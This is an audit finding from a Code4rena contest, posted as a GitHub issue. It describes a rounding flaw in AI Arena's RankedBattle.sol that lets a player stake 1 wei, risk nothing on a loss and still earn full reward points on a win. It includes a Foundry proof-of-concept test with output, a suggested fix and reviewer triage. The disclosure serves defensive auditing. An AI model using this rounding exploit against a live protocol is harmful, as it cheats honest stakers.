code-423n4/2024-02-ai-arena-findings

Malicious user can stake an amount which causes zero curStakeAtRisk on a loss but equal rewardPoints to a fair user on a win

Opened this issue · 8 comments

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L530-L532
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L439

Vulnerability details

Impact

The _getStakingFactor() function rounds-up the stakingFactor_ to one if its zero. Additionally, the _addResultPoints() function rounds-down the curStakeAtRisk.

Whenever a player loses and has no accumulated reward points, 0.1% of his staked amount is considered "at risk" and transferred to the _stakeAtRiskAddress. However due to the above calculation styles, he can stake just 1 wei of NRN to have zero curStakeAtRisk in case of a loss and in case of a win, still gain the same amount of reward points as a player staking 4e18-1 wei of NRN.

Let's look at three cases of a player with ELO as 1500:

Case Staked NRN stakingFactor calculated by the protocol Reward Points accumulated in case of a WIN NRNs lost (stake at risk) in case of a LOSS
1 4 2 1500 0.004
2 3.999999999999999999 1 750 0.003999999999999999
3 0.000000000000000001 1 750 0

As can be seen in Case2 vs Case3, a player staking 0.000000000000000001 NRN (1 wei) has the same upside in case of a win as a player staking 3.999999999999999999 NRN (4e18-1 wei) while their downside is 0.

Proof of Concept

Add the following test inside test/RankedBattle.t.sol and run via forge test -vv --mt test_t0x1c_UpdateBattleRecord_SmallStake to see the ouput under the 3 different cases:

    function test_t0x1c_UpdateBattleRecord_SmallStake() public {
        address player = vm.addr(3);
        _mintFromMergingPool(player);
        uint8 tokenId = 0;
        _fundUserWith4kNeuronByTreasury(player);
        
        // snapshot the current state
        uint256 snapshot0 = vm.snapshot();

        vm.prank(player);
        _rankedBattleContract.stakeNRN(4e18, 0);

        console.log("\n\n==================================== CASE 1 ==========================================================");
        emit log_named_decimal_uint("Stats when staked amount =", 4e18, 18);

        // snapshot the current state
        uint256 snapshot0_1 = vm.snapshot();

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); // if player had won
        (uint256 wins,,) = _rankedBattleContract.fighterBattleRecord(tokenId);
        assertEq(wins, 1);
        

        console.log("\n----------------------------------  IF WON  ---------------------------------------------------");
        console.log("accumulatedPointsPerFighter =:", _rankedBattleContract.accumulatedPointsPerFighter(0, 0));
        emit log_named_decimal_uint("getStakeAtRisk =", _stakeAtRiskContract.getStakeAtRisk(tokenId), 18);
        emit log_named_decimal_uint("_rankedBattleContract NRN balance =", _neuronContract.balanceOf(address(_rankedBattleContract)), 18);
        emit log_named_decimal_uint("_stakeAtRiskContract NRN balance =", _neuronContract.balanceOf(address(_stakeAtRiskContract)), 18);

        // Restore to snapshot state
        vm.revertTo(snapshot0_1);

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); // if player had lost
        (,, uint256 losses) = _rankedBattleContract.fighterBattleRecord(tokenId);
        assertEq(losses, 1);

        console.log("\n----------------------------------  IF LOST  ---------------------------------------------------");
        console.log("accumulatedPointsPerFighter =", _rankedBattleContract.accumulatedPointsPerFighter(0, 0));
        emit log_named_decimal_uint("getStakeAtRisk =", _stakeAtRiskContract.getStakeAtRisk(tokenId), 18);
        emit log_named_decimal_uint("_rankedBattleContract NRN balance =", _neuronContract.balanceOf(address(_rankedBattleContract)), 18);
        emit log_named_decimal_uint("_stakeAtRiskContract NRN balance =", _neuronContract.balanceOf(address(_stakeAtRiskContract)), 18);


        // Restore to snapshot state
        vm.revertTo(snapshot0);

        vm.prank(player);
        _rankedBattleContract.stakeNRN(4e18-1, 0);

        console.log("\n\n==================================== CASE 2 ==========================================================");
        emit log_named_decimal_uint("Stats when staked amount =", 4e18-1, 18);

        // snapshot the current state
        uint256 snapshot1_1 = vm.snapshot();

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); // if player had won
        (wins,,) = _rankedBattleContract.fighterBattleRecord(tokenId);
        assertEq(wins, 1);
        

        console.log("\n----------------------------------  IF WON  ---------------------------------------------------");
        console.log("accumulatedPointsPerFighter =:", _rankedBattleContract.accumulatedPointsPerFighter(0, 0));
        emit log_named_decimal_uint("getStakeAtRisk =", _stakeAtRiskContract.getStakeAtRisk(tokenId), 18);
        emit log_named_decimal_uint("_rankedBattleContract NRN balance =", _neuronContract.balanceOf(address(_rankedBattleContract)), 18);
        emit log_named_decimal_uint("_stakeAtRiskContract NRN balance =", _neuronContract.balanceOf(address(_stakeAtRiskContract)), 18);

        // Restore to snapshot state
        vm.revertTo(snapshot1_1);

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); // if player had lost
        (,, losses) = _rankedBattleContract.fighterBattleRecord(tokenId);
        assertEq(losses, 1);

        console.log("\n----------------------------------  IF LOST  ---------------------------------------------------");
        console.log("accumulatedPointsPerFighter =", _rankedBattleContract.accumulatedPointsPerFighter(0, 0));
        emit log_named_decimal_uint("getStakeAtRisk =", _stakeAtRiskContract.getStakeAtRisk(tokenId), 18);
        emit log_named_decimal_uint("_rankedBattleContract NRN balance =", _neuronContract.balanceOf(address(_rankedBattleContract)), 18);
        emit log_named_decimal_uint("_stakeAtRiskContract NRN balance =", _neuronContract.balanceOf(address(_stakeAtRiskContract)), 18);


        // Restore to snapshot state
        vm.revertTo(snapshot0);

        vm.prank(player);
        _rankedBattleContract.stakeNRN(1, 0);

        console.log("\n\n==================================== CASE 3 ==========================================================");
        emit log_named_decimal_uint("Stats when staked amount =", 1, 18);

        // snapshot the current state
        uint256 snapshot2_1 = vm.snapshot();

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); // if player had won
        (wins,,) = _rankedBattleContract.fighterBattleRecord(tokenId);
        assertEq(wins, 1);
        

        console.log("\n----------------------------------  IF WON  ---------------------------------------------------");
        console.log("accumulatedPointsPerFighter =:", _rankedBattleContract.accumulatedPointsPerFighter(0, 0));
        emit log_named_decimal_uint("getStakeAtRisk =", _stakeAtRiskContract.getStakeAtRisk(tokenId), 18);
        emit log_named_decimal_uint("_rankedBattleContract NRN balance =", _neuronContract.balanceOf(address(_rankedBattleContract)), 18);
        emit log_named_decimal_uint("_stakeAtRiskContract NRN balance =", _neuronContract.balanceOf(address(_stakeAtRiskContract)), 18);

        // Restore to snapshot state
        vm.revertTo(snapshot2_1);

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); // if player had lost
        (,, losses) = _rankedBattleContract.fighterBattleRecord(tokenId);
        assertEq(losses, 1);

        console.log("\n----------------------------------  IF LOST  ---------------------------------------------------");
        console.log("accumulatedPointsPerFighter =", _rankedBattleContract.accumulatedPointsPerFighter(0, 0));
        emit log_named_decimal_uint("getStakeAtRisk =", _stakeAtRiskContract.getStakeAtRisk(tokenId), 18);
        emit log_named_decimal_uint("_rankedBattleContract NRN balance =", _neuronContract.balanceOf(address(_rankedBattleContract)), 18);
        emit log_named_decimal_uint("_stakeAtRiskContract NRN balance =", _neuronContract.balanceOf(address(_stakeAtRiskContract)), 18);
    }

Output:

==================================== CASE 1 ==========================================================
  Stats when staked amount =: 4.000000000000000000

----------------------------------  IF WON  ---------------------------------------------------
  accumulatedPointsPerFighter =: 1500
  getStakeAtRisk =: 0.000000000000000000
  _rankedBattleContract NRN balance =: 4.000000000000000000
  _stakeAtRiskContract NRN balance =: 0.000000000000000000

----------------------------------  IF LOST  ---------------------------------------------------
  accumulatedPointsPerFighter = 0
  getStakeAtRisk =: 0.004000000000000000
  _rankedBattleContract NRN balance =: 3.996000000000000000
  _stakeAtRiskContract NRN balance =: 0.004000000000000000


==================================== CASE 2 ==========================================================
  Stats when staked amount =: 3.999999999999999999

----------------------------------  IF WON  ---------------------------------------------------
  accumulatedPointsPerFighter =: 750
  getStakeAtRisk =: 0.000000000000000000
  _rankedBattleContract NRN balance =: 3.999999999999999999
  _stakeAtRiskContract NRN balance =: 0.000000000000000000

----------------------------------  IF LOST  ---------------------------------------------------
  accumulatedPointsPerFighter = 0
  getStakeAtRisk =: 0.003999999999999999
  _rankedBattleContract NRN balance =: 3.996000000000000000
  _stakeAtRiskContract NRN balance =: 0.003999999999999999


==================================== CASE 3 ==========================================================
  Stats when staked amount =: 0.000000000000000001

----------------------------------  IF WON  ---------------------------------------------------
  accumulatedPointsPerFighter =: 750
  getStakeAtRisk =: 0.000000000000000000
  _rankedBattleContract NRN balance =: 0.000000000000000001
  _stakeAtRiskContract NRN balance =: 0.000000000000000000

----------------------------------  IF LOST  ---------------------------------------------------
  accumulatedPointsPerFighter = 0
  getStakeAtRisk =: 0.000000000000000000
  _rankedBattleContract NRN balance =: 0.000000000000000001
  _stakeAtRiskContract NRN balance =: 0.000000000000000000

Tools used

Foundry

Recommended Mitigation Steps

Protocol can choose to set a minimum stake amount of 4 NRN (4e18 wei). One needs to take care that even after a partial unstake, this amount is not allowed to go below 4 NRN.

Also, do not round up stakingFactor_ i.e. remove L530-L532. An additional check can be added too which ensures that stakingFactor_ is greater than zero:

  File: src/RankedBattle.sol

  519:              function _getStakingFactor(
  520:                  uint256 tokenId, 
  521:                  uint256 stakeAtRisk
  522:              ) 
  523:                  private 
  524:                  view 
  525:                  returns (uint256) 
  526:              {
  527:                uint256 stakingFactor_ = FixedPointMathLib.sqrt(
  528:                    (amountStaked[tokenId] + stakeAtRisk) / 10**18
  529:                );
- 530:                if (stakingFactor_ == 0) {
- 531:                  stakingFactor_ = 1;
- 532:                }
+ 532:                require(stakingFactor_ > 0, "stakingFactor_ = 0");
  533:                return stakingFactor_;
  534:              }    

The above fixes would ensure that curStakeAtRisk can never be gamed to 0 while still having a positive reward potential.

It's may also be a good idea to have a provision to return any "extra" staked amount. For example, if only 4 NRN is required to achieve a stakingFactor of 1 and the player stakes 4.5 NRN, then the extra 0.5 NRN could be returned. This however is up to the protocol to consider.

Assessed type

Math

raymondfam marked the issue as primary issue

raymondfam marked the issue as sufficient quality report

Strategic dodging to avoid penalty. Might as well fully unstake to make curStakeAtRisk 0. However, points would be zero if at risk penalty were to kick in.

raymondfam marked the issue as insufficient quality report

raymondfam marked the issue as duplicate of #38

HickupHH3 changed the severity to 3 (High Risk)

HickupHH3 marked the issue as satisfactory

HickupHH3 marked the issue as selected for report